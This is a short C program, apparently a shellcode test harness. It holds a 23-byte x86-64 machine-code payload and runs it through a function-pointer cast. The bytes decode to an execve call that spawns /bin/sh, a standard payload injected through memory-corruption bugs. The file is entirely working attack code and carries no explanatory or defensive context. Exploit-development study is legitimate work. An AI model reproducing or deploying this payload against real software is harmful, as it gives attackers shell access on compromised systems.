#include <stdio.h>

int main()
{
    unsigned char shellcode[] = \
        "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";
    int (*ret)() = (int(*)())shellcode;
    ret();
}